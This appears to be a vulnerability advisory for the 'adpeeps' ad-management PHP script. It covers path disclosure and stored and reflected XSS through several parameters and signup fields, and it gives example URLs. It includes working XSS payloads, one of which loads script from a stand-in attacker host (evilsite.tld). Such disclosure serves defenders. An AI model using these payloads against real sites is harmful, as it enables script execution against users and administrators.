Version Information:

Information Disclosure: (discloses the full path to the file)
http://www.website.tld/adpeeps/index.php?loc=view_adrates&uid=SomeRandomString

Vulnerable Function / ID Calls: (XSS)
uid, campainid, type, period, loginpass, accname, e9, from, subject & idno

Possible Filtered / Bad Chars: ' (quotes are semi-filtered too with a \ prepended, however this
does not prevent XSS from being executed)

Affected Fields in the Signup Formular by HTML Injection:

Advertiser Name
First Name
Last Name
*Advertiser E-Mail
Address
Phone Number
Password Hint
URL to goto on click
*Was not tested but might be vulnerable.

Avoid HTML Injection In: (these fields gets sent to the administrator by e-mail)
Advertiser Name
First & Last Name
Advertiser E-mail

HTML Injection: : (insert: "><script>alert(0)</script> into the mentioned forms)
http://www.website.tld/adpeeps/index.php?loc=view_adrates&uid=100000

One will have to buy a user / ad-spot in order to exploit this issue.

Affected Sites by HTML Injection: (where Advertiser Name, First- and Last-name isn't used)
http://www.website.tld/adpeeps/index.php?loc=createcampaign&mode=edit&uid=100000&campaignid=VALIDID
(phone and passhint)
http://www.website.tld/adpeeps/index.php?loc=view_campaign_stats&uid=100000&campaignid=VALIDID
(address and phone)
http://www.website.tld/adpeeps/index.php?loc=view_ad_stats&uid=100000&campaignid=VALIDID&adno=VALIDID
(ad url)
http://www.website.tld/adpeeps/index.php?loc=createadvertad&campaignid=VALIDID&uid=100000&adno=VALIDID&adtype=banner
(ad url)

Affected Sites by HTML Injection: (which requires abnormal injection. (the common alert(0) did
not work))
http://www.website.tld/adpeeps/index.php?loc=createcampaign&mode=edit&uid=100000&campaignid=VALIDID
(first- and/or last-name)
http://www.website.tld/adpeeps/index.php?loc=email_advertisers&uid=100000&mode=1&errors=&from=&message=&subject=
(first- and/or last-name)
http://www.website.tld/adpeeps/index.php?loc=createcampaign&mode=edit&uid=100000&campaignid=VALIDID
(first- and/or last-name)
http://www.website.tld/adpeeps/index.php?loc=view_campaign_stats&uid=100000&campaignid=VALIDID
(first- and/or last-name)
The above "abnormal" injection we tested with was: "></td></tr></table><SCRIPT
SRC=http://evilsite.tld/xss.js></SCRIPT><!--

-:: Solution ::-
The most easy solution is to validate user input and strip or convert bad / html characters.

Conclusion:
Even if One decides to (ab)use the Advertiser Name, First- and Last-name's as injection points
and the administrator sees this (in an e-mail), then he will still be affected by the injection
and possibly have a hard time deleting those malicious users safely except if he might have
NoScript turned on for his own website. (the injection points might render the desired pages
useless)
